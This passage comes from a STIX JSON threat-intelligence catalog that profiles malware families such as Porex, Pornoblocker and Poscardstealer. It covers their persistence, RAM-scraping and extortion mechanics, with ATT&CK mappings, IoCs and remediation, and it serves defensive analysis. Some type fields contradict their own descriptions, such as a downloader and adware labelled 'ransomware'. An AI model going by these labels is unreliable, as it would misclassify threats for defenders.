traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pophot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pophot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pophot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d86b9fa9-0c1c-5b02-8e5d-ee12d8f7875d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9c71f50-e5b8-538a-a0b6-2ecc1f460a22",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pophot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a8cb846-c6b2-5324-94cc-639bac76c821",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9c71f50-e5b8-538a-a0b6-2ecc1f460a22",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pophot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e5c85fe-472d-5af5-a24a-51077179b57a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9c71f50-e5b8-538a-a0b6-2ecc1f460a22",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pophot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff7960c3-6780-59c6-9ad9-135786913116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9c71f50-e5b8-538a-a0b6-2ecc1f460a22",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pophot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c20465f4-5ffc-5d36-b57d-c4cbeb361368",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9c71f50-e5b8-538a-a0b6-2ecc1f460a22",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pophot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bba6ec6b-c4a4-5603-b459-c6373eaec824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Popwin",
      "description": "Adware:Win32/Popwin is a persistent adware application designed to continuously bombard the user with pop-up advertisements, intrusive new browser windows, and deceptive alerts. Its primary monetization strategy relies on generating fraudulent ad impressions or tricking users into clicking affiliate links and downloading further potentially unwanted programs (PUPs) (`T1189`).<br><br><b>Understanding Popwin</b><br>To an end-user, the infection makes the computer nearly unusable. Browsing sessions are constantly interrupted by new windows opening automatically, often pushing adult content, fake tech support warnings, or 'You Have Won!' scams. For an IT department, Popwin represents a significant drain on helpdesk resources and a potential vector for more severe malware if the user interacts with the malicious ads.<br><br><b>Execution and Persistence Mechanics</b><br>Popwin is typically installed silently as part of a deceptive software bundle (e.g., 'Free PDF Converter'). Upon installation, it establishes persistence via the Windows Registry (`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or by creating a Scheduled Task (`T1053.005`) to ensure the adware engine launches at every boot. The malware then hooks into browser processes (Chrome, Edge, Firefox) or acts as a standalone local proxy (`T1112`) to inject its advertisements directly into the DOM of legitimate websites the user visits.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe user disruption and a high risk of subsequent malware infections via malvertising. Host-based IoCs include unexpected executables (often with random or deceptive names) running from `%AppData%` or `%ProgramFiles(x86)%`, accompanied by unauthorized modifications to browser shortcut targets. Network IoCs involve constant, high-volume HTTP/HTTPS traffic to known advertising networks and tracking domains, even when the user is not actively browsing. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Popwin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/popwin"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d4e877e-b7ae-5db8-b958-4f304f788321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba6ec6b-c4a4-5603-b459-c6373eaec824",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Popwin exhibits technique T1189 (Drive-by Compromise (Initial distribution via software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b95d8d8-8620-5049-860f-a4c82a8dc98c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba6ec6b-c4a4-5603-b459-c6373eaec824",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Popwin exhibits technique T1112 (Modify Registry (Modifying browser proxy settings or start pages))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddef48a0-7e7b-5ce2-b754-b95911e074c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba6ec6b-c4a4-5603-b459-c6373eaec824",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Popwin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (Ensuring adware runs at boot))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b8f0f30-883f-5eea-931b-16b8f859cbfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Porex",
      "description": "<h3>Executive Summary</h3>\nPorex is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPorex is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Porex operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Porex ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Porex receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Porex infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Porex executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Porex frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Porex",
        "Downloader.Porex",
        "Win32/Porex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Porex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/porex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f394024-1b1f-56d8-b1b9-2f5535842824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b8f0f30-883f-5eea-931b-16b8f859cbfa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Porex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af795c99-9323-572b-a89d-ac7b1136c0ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b8f0f30-883f-5eea-931b-16b8f859cbfa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Porex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c50ed80-21ed-537f-b85f-6408a0499a9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b8f0f30-883f-5eea-931b-16b8f859cbfa",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Porex exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5cc4221c-dc46-5c4e-9fb3-2bb4dbe119e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pornblackmailer",
      "description": "Ransomware/Scareware:Win32/Pornblackmailer represents a highly manipulative form of extortion software. Unlike traditional ransomware that encrypts files, this threat locks the user's screen (`T1491.002`) and displays a threatening message claiming to have recorded the victim visiting adult websites using their own webcam. It demands an immediate ransom payment (often in cryptocurrency or gift cards) to prevent the alleged video and browsing history from being emailed to all their contacts.<br><br><b>Understanding Pornblackmailer (Extortion/Scareware)</b><br>To an end-user, this is an incredibly distressing, panic-inducing event. The software preys on fear and embarrassment to bypass logical decision-making. For a security team, it is important to recognize that in almost all cases, the attacker *does not actually have* webcam footage or a complete contact list; it is a psychological bluff. The primary mechanism is locking the screen, not encrypting the data.<br><br><b>Execution and Extortion Mechanics</b><br>Pornblackmailer is typically distributed via drive-by downloads on compromised adult sites or through spam emails. Upon execution, it terminates `explorer.exe` to hide the desktop and taskbar, and launches a full-screen, uncloseable window displaying the ransom note. It establishes persistence via the Registry Run keys or Winlogon Shell modifications (`T1547.004`) to ensure the lock screen appears immediately upon reboot. It often disables the Task Manager (`T1562.001`) to prevent easy termination.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is psychological trauma and potential financial loss if the victim pays the fake ransom. Host-based IoCs include the highly visible, full-screen lock message, EDR alerts for the termination of `explorer.exe`, unauthorized modifications to `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell`, and the presence of suspicious executables in `%AppData%`. Network IoCs are minimal, often just a ping to confirm the infection to the attacker. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pornblackmailer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pornblackmailer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8985f27d-51be-506c-bdf4-03d622df2007",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cc4221c-dc46-5c4e-9fb3-2bb4dbe119e2",
      "target_ref": "attack-pattern--1903672b-fa6b-505d-bd64-28a101537fec",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pornblackmailer exhibits technique T1491.002 (Defacement: Internal Defacement (Locking the screen with the extortion message))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fc6e2b2-ab00-59a2-b91c-418dd19d6d06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cc4221c-dc46-5c4e-9fb3-2bb4dbe119e2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pornblackmailer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager to prevent escape))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cbdecf2-623d-5f35-9a2a-e5440322c57c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cc4221c-dc46-5c4e-9fb3-2bb4dbe119e2",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pornblackmailer exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Hijacking the logon process to lock the screen early))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--980ad82d-967a-5225-ae89-26cabd2d5f32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pornoblocker",
      "description": "Ransomware:Win32/Pornoblocker (often categorized generically as a **Winlocker** or Screenlocker) represents a classic, historical evolutionary step in ransomware. Prominent in the late 2000s and early 2010s, this malware did *not* encrypt files. Instead, it aggressively locked the user's desktop interface, displaying a full-screen, highly embarrassing image (often pornographic or claiming to be from law enforcement regarding illegal pornography), and demanded a fine (often via SMS or prepaid cards) to unlock the machine.<br><br><b>Understanding Pornoblocker (Winlocker)</b><br>To a victim, a Pornoblocker infection was an immediate, panic-inducing event. The computer became entirely unusable; the screen was locked, the keyboard was often disabled, and Task Manager was blocked. The social engineering relied entirely on shame and fear. For a security analyst, these early screenlockers were relatively simplistic. Because they didn't utilize complex cryptography, the data was never actually lost, just rendered temporarily inaccessible by aggressive UI manipulation.<br><br><b>Execution and Screen Locking Mechanics</b><br>Pornoblocker was typically distributed via drive-by downloads on illicit websites or peer-to-peer networks (`T1189`). Upon execution, the malware established persistence, often by modifying the critical `Shell` value in the Registry (`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon`). Instead of launching `explorer.exe` (the normal Windows desktop), Windows would launch the malware executable at boot (`T1547.004`). The malware created a full-screen, always-on-top window (`T1491`), aggressively killed `taskmgr.exe` if the user tried to open it, and hooked the keyboard (`T1056.001`) to block `Alt+Tab` or `Ctrl+Alt+Del`. The screen displayed the ransom demand, forcing the user to pay to remove the lock.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was extreme disruption of use and psychological distress/extortion, but no actual data destruction. Detection was obvious due to the locked screen. Incident responders would boot the machine into Safe Mode (which often bypassed the modified Winlogon Shell registry key) or use offline registry editors to identify the unauthorized executable set to launch in place of `explorer.exe`. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pornoblocker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pornoblocker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1b58f30-d6b9-51ba-9de0-89b1d51c4732",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980ad82d-967a-5225-ae89-26cabd2d5f32",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pornoblocker exhibits technique T1491 (Defacement (Screenlocking / UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05b0c0df-df2e-5a89-9616-0efec8fadb80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980ad82d-967a-5225-ae89-26cabd2d5f32",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pornoblocker exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell Modification))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a8da894-23d1-5dda-9364-7d4afb712e35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980ad82d-967a-5225-ae89-26cabd2d5f32",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pornoblocker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Killing Task Manager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b279f2ad-b713-5024-837e-13f3466dd47c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Porntool",
      "description": "Riskware:Win32/Porntool represents a generic classification for a variety of Potentially Unwanted Programs (PUAs), dialers, and adware specifically bundled with or disguised as adult content viewing software. While often not inherently destructive (like ransomware), Porntool applications introduce significant operational and compliance risks to an enterprise environment through aggressive ad-injection, privacy violations, and the potential for secondary malware infections.<br><br><b>Understanding Porntool Riskware</b><br>To an end-user, Porntool is often intentionally downloaded in the pursuit of adult media, frequently requiring the installation of a 'special codec' or 'premium viewer'. For a security analyst or HR department, a Porntool detection is an immediate flag for a violation of corporate Acceptable Use Policies (AUP). Technically, it represents a breakdown in perimeter filtering and the introduction of unvetted, high-risk software into the network.<br><br><b>Execution and Monetization Mechanics</b><br>Porntool applications are distributed heavily via malvertising on adult websites (`T1189`). During execution (`T1204.002`), the installer employs 'Dark Patterns' to bypass user consent, installing multiple secondary toolbars and browser hijackers (`T1176`). Historically, some variants acted as Dialers (`T1498`), disconnecting modems and routing traffic through premium-rate international numbers. Modern variants focus on aggressive browser session hijacking (`T1185`), injecting explicit advertisements into legitimate websites, and aggressively tracking user browsing habits to sell to third-party data brokers.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severe AUP violation, potential legal/HR liabilities, and a degraded user experience. IoCs include EDR alerts for the installation of known adware toolbars or 'video codec' executables. Host-based indicators include the sudden appearance of aggressive, explicit pop-up advertisements regardless of the website being visited. Network logs will show traffic to known adult ad networks and PPI (Pay-Per-Install) infrastructure. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Porntool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/porntool"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--935651ac-b1c4-5394-b105-50a539fead3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b279f2ad-b713-5024-837e-13f3466dd47c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Porntool exhibits technique T1189 (Drive-by Compromise (Malvertising on adult sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06b41184-5751-5bd4-8147-a0d8b843bbdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b279f2ad-b713-5024-837e-13f3466dd47c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Porntool exhibits technique T1176 (Browser Extensions (Rogue toolbars and ad-injectors))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cb03f12-862d-51d2-ada9-55070aa7ec24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b279f2ad-b713-5024-837e-13f3466dd47c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Porntool exhibits technique T1185 (Browser Session Hijacking (Injecting explicit ads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e876a71-a28d-517a-927b-a073aaf1bfc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b279f2ad-b713-5024-837e-13f3466dd47c",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Porntool exhibits technique T1204.002 (User Execution: Malicious File (User-initiated download))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--14a58915-9d2b-5393-b1ae-10e4f3f80e2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Poscardstealer",
      "description": "Trojan:Win32/Poscardstealer (often representing families like BlackPOS, Dexter, or Alina) is a critical classification for **Point-of-Sale (PoS) RAM Scrapers**. This malware is specifically engineered to target retail cash registers, hospitality payment terminals, and restaurant management systems. Its sole objective is to scan the live memory (RAM) of the PoS system to locate, extract, and exfiltrate unencrypted credit and debit card Track 1 and Track 2 data before the transaction is finalized and encrypted.<br><br><b>Understanding PoS RAM Scraping</b><br>To a retail employee, the cash register functions normally. To the enterprise, Poscardstealer represents a catastrophic data breach, massive PCI-DSS compliance fines, and devastating reputational damage. Due to legacy payment processing architecture, even if credit card data is encrypted during network transit, it exists in plain text inside the PoS software's memory for a split second during authorization. RAM scrapers exploit this exact vulnerability.<br><br><b>Execution and Memory Scraping Mechanics</b><br>PoS systems are typically infected via lateral movement after an initial corporate network breach (`T1190`), or via compromised vendor remote access tools (like pcAnywhere or RDP) (`T1133`). Once installed on the Windows-based PoS terminal, the malware establishes persistence (`T1547.001`). It then continually enumerates running processes (specifically targeting retail software processes like `pos.exe` or `aloha.exe`) (`T1057`). It uses APIs like `ReadProcessMemory` (`T1005`) to dump the live RAM. It uses regular expressions (RegEx) to parse the memory dump, specifically searching for the structured patterns of credit card magnetic stripe data (Track 1/Track 2). It saves this stolen data to a hidden local file, which is periodically exfiltrated to the attacker's C2 server (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the mass theft of customer payment data. Host-based IoCs include EDR alerts for anomalous processes (even legitimate administrative tools) repeatedly calling `ReadProcessMemory` against retail application executables. The presence of hidden text or `.tmp` files containing raw credit card numbers or encrypted blobs in the PoS system's `%Temp%` directory is a definitive indicator. Network IoCs include unexpected outbound traffic from the highly restricted PoS VLAN to the internet. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Poscardstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/poscardstealer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a869eab-4114-5bce-81d4-807036acfeca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14a58915-9d2b-5393-b1ae-10e4f3f80e2f",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poscardstealer exhibits technique T1005 (Data from Local System (RAM Scraping via ReadProcessMemory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc9ec514-1c7d-5a00-9c42-e1e53fb4fdfd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14a58915-9d2b-5393-b1ae-10e4f3f80e2f",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poscardstealer exhibits technique T1133 (External Remote Services (Breaching via RDP or Vendor Access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3224e7ab-9243-54b8-a77c-69a1d6f973ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14a58915-9d2b-5393-b1ae-10e4f3f80e2f",
      "target_ref": "attack-pattern--aa37b729-2957-50b6-a521-ffdef2f42ea8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poscardstealer exhibits technique T1057 (Process Discovery (Targeting specific PoS processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01bb1f6e-fff4-5eea-a5d8-541451e5103f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14a58915-9d2b-5393-b1ae-10e4f3f80e2f",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poscardstealer exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing Track data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cd075521-f94b-55c2-a918-f40f933daa54",
